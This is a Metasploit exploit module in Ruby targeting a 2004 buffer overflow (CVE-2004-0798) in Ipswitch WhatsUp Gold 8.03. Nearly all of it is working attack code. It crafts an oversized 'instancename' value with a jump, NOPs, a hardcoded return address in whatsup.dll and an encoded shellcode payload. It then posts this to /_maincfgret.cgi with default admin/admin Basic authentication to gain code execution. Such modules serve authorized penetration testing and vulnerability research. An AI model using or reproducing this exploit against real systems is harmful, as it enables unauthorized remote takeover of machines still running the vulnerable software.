##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GreatRanking

  # [*] x.x.x.x WhatsUp_Gold/8.0 ( 401-Basic realm="WhatsUp Gold" )
  HttpFingerprint = { :pattern => [ /WhatsUp/ ] }

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Ipswitch WhatsUp Gold 8.03 Buffer Overflow',
      'Description'    => %q{
          This module exploits a buffer overflow in IPswitch WhatsUp Gold 8.03. By
        posting a long string for the value of 'instancename' in the _maincfgret.cgi
        script an attacker can overflow a buffer and execute arbitrary code on the system.
      },
      'Author'         => [ 'MC' ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2004-0798'],
          ['OSVDB', '9177'],
          ['BID', '11043'],
        ],
      'DefaultOptions' =>
        {
          'EXITFUNC' => 'thread',
        },
      'Privileged'     => true,
      'Payload'        =>
        {
          'Space'    => 500,
          'BadChars' => "\x00\x3a\x26\x3f\x25\x23\x20\x0a\x0d\x2f\x2b\x0b\x5c",
          'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",
        },
      'Platform'       => 'win',
      'Targets'        =>
        [
          [ 'WhatsUP Gold 8.03 Universal', { 'Ret' => 0x6032e743 } ], # whatsup.dll
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Aug 25 2004'))

    register_options(
      [
        OptString.new('HTTPUSER', [ false, 'The username to authenticate as', 'admin']),
        OptString.new('HTTPPASS', [ false, 'The password to authenticate as', 'admin']),
      ])
  end

  def exploit
    c = connect

    num = rand(65535).to_s
    user_pass = "#{datastore['HTTPUSER']}" + ":" + "#{datastore['HTTPPASS']}"

    req   = "page=notify&origname=&action=return&type=Beeper&instancename="
    req  << rand_text_alpha_upper(811, payload_badchars) + "\xeb\x06"
    req  << make_nops(2) + [target.ret].pack('V') + make_nops(10) + payload.encoded
    req  << "&beepernumber=&upcode=" + num + "*&downcode="+ num + "*&trapcode=" + num + "*&end=end"

    print_status("Trying target %s..." % target.name)
    res = send_request_cgi({
      'uri'          => '/_maincfgret.cgi',
      'method'       => 'POST',
      'content-type' => 'application/x-www-form-urlencoded',
      'data'         => req,
      'headers'      =>
      {
        'Authorization' => "Basic #{Rex::Text.encode_base64(user_pass)}"
      }
    }, 5)

    handler
  end
end
